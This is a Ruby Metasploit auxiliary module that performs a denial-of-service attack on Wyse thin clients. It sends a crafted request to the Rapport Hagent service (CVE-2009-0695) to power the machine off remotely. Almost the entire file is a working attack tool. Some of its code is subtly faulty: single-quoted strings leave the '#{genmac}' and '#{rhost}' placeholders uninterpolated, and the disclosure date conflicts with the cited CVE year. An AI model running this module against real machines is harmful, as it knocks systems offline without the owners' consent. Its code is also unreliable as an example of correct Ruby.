require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Auxiliary::Dos

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Wyse Machine Remote Power off (DOS)',
   'Description'    => %q{
     This module exploits the Wyse Rapport Hagent service and cause
                                        remote power cycle (Power off the wyse machine remotely).
   },
   'Stance'         => Msf::Exploit::Stance::Aggressive,
   'Author'         => 'it.solunium@gmail.com',
   'Version'        => '$Revision: 14976 $',
   'References'     =>
    [
     ['CVE', '2009-0695'],
     ['OSVDB', '55839'],
     ['US-CERT-VU', '654545'],
     ['URL', 'http://snosoft.blogspot.com/'],
     ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
     ['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
     ['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Targets'        =>
    [
     [ 'Wyse Linux x86', {'Platform' => 'linux',}],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 13 2012'
  ))

  register_options(
   [
    Opt::RPORT(80),
   ], self.class)
 end

 def run

  
  # Connect to the target service
  print_status("Connecting to the target #{rhost}:#{rport}")
  if connect
                print_status("Connected...")
                end

  # Parameters

                genmac     = "00"+Rex::Text.rand_text(5).unpack("H*")[0]

  craft_req = '&V52&CI=3|'
                craft_req << 'MAC=#{genmac}|#{rhost}|'
                craft_req << 'RB=0|MT=3|'
                craft_req << '|HS=#{rhost}|PO=#{rport}|'
                craft_req << 'SPO=0|'

                # Send the malicious request
  sock.put(craft_req)

  # Download some response data
  resp = sock.get_once(-1, 10)
  print_status("Received: #{resp}")

                disconnect

  if not resp
   print_error("No reply from the target, this may not be a vulnerable system")
   return
  end

  if resp == '&00'
                print_status("#{rhost} execute command succefuly & power off.")
                return
                end

                #Exeptions
  rescue ::Rex::ConnectionRefused
   print_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")
                rescue ::Rex::HostUnreachable
   print_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")
                rescue  ::Rex::ConnectionTimeout
   print_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")
  rescue ::Errno::ECONNRESET, ::Timeout::Error
   print_status("#{rhost} not responding.")

 end
end